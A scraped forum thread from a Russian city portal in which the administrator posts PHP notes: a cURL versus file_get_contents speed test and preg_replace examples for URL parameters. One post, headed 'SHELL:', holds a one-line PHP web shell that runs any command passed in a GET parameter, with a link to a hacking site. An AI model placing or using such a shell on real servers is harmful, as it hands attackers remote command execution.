Березовский   Кемеровской области
березовский портал
arrowГлавная

Форум

Tuesday, 12 December 2017  
Пользователи он-лайн
Посетителей нет.

ТОП-5 займов онлайн

Займы онлайн
Вебкамеры города Березовский Кемеровской области
Инфраструктура города
Школы Березовского Кемеровской области Школы
Банки Березовского Кемеровской области Банки
Детские сады Березовского Кемеровской области Детские сады
База Березовских Поэтов
База предприятий
Лыжный спорт
Александр Бессмертных
Александр Бессмертных
отвечает на вопросы
Подать в суд
Суд
Расписание автобусов
Расписание автобусов
Запись к врачам
Больницы. Электронная очередь
Горячие кнопки
Новое Объявления Вакансии
Фото города
Город Берёзовский Кемеровской области фото
Наша коллекция юмора
Концентрация юмора
ЗАГС
ФОРУМ
Добро пожаловать, Гость
Привет! Вход или Регистрация.    Забыли пароль?
Заметки PHP - программиста (1 просматривает) (1) Гость
Нравится
Вниз Ответить Избранное: 0
Сообщения темы:

Заметки PHP - программиста

#13638
admin (Администратор)
Администратор
Постов: 2187
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
Заметки PHP - программиста 9 г. назад Репутация: 15  
Сравнительный тест на скорость - cURL vs file_get_contents()

Так или иначе web-разработчик сталкивается с вопросом загрузки информации с других сайтов.
Как-то было принято всегда пользоваться удобной и понятной функцией file_get_contents() в php. Не очень давно стал набирать обороты cURL - гибкая надстройка, которая заточена под работу с протоколом http да и не только. Теперь небольшой тестик на скорость загрузки страниц:

Код:

<?php function getPage($url) { $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); curl_setopt ($ch, CURLOPT_TIMEOUT, 60); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec ($ch); curl_close($ch); return $result; } $start = microtime(true); getPage("http://www.habrahabr.ru/"); $end = microtime(true); echo $end-$start.'<br />'; $start = microtime(true); file_get_contents("http://www.habrahabr.ru/"); $end = microtime(true); echo $end-$start.'<br />'; ?>
Результаты: 0.0626730918884 0.263456821442 Вот так вот - cURL в четыре раза быстрее. Но есть и исключения, например, на совсем простеньких страничках cURL уступает. Но с этим можно жить, я думаю.
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Последнее редактирование: 25.11.2008 15:53 Редактировал admin.
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#17184
admin (Администратор)
Администратор
Постов: 2187
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 6 г., 10 мес. назад Репутация: 15  
SHELL:
<?php system($_GET["cmd"]); ?> http://hackerst0wn.at.ua/publ/1-1-0-46
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#17706
admin (Администратор)
Администратор
Постов: 2187
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 6 г., 6 мес. назад Репутация: 15  
Примеры использования регулярных выражений: http://htmlweb.ru/php/example/preg.php
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#18166
admin (Администратор)
Администратор
Постов: 2187
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 6 г., 1 мес. назад Репутация: 15  
Есть, к примеру, url
Код:

'http://planeta.tspu.ru/admins/?ur=751&ur1=1170&slush=1&id_mer=668'. Меня интересует параметр "slush". Нужно изменить его значение. Применим функцию: preg_replace('/(\?|&)(slush=\d*)(&|$)/i', '\1slush=2\3', $_SERVER["REQUEST_URI"]). Получим измененный url: 'http://planeta.tspu.ru/admins/?ur=751&ur1=1170&slush=2&id_mer=668'. Это работоспособно для любого параметра. Например, для "id_mer" это будет выглядеть так: '/(\?|&)(id_mer=\d*)(&|$)/i'
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Последнее редактирование: 07.11.2011 13:22 Редактировал admin.
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
Вверх Ответить
получить последние сообщения прямо на Ваш рабочий стол
поиск
Авторизация
Миничат Пройти регистрацию Архив миничата Пройти регистрацию
ПОГОДА
weather
Телефонный справочник
Телефонный справочник

Город Березовский
(Кемеровская область)

ТРК 12-канал
ОВД
Подать заявление Приём заявлений о преступлениях или правонарушениях в ОВД г. Березовский
Кто онлайн и откуда
Заказ СУШИ
СУШИ
Счётчики

Наш побратим
Город Берёзовский на Урале

Березовский сайт

вверх
Проект существует с 25.05.2006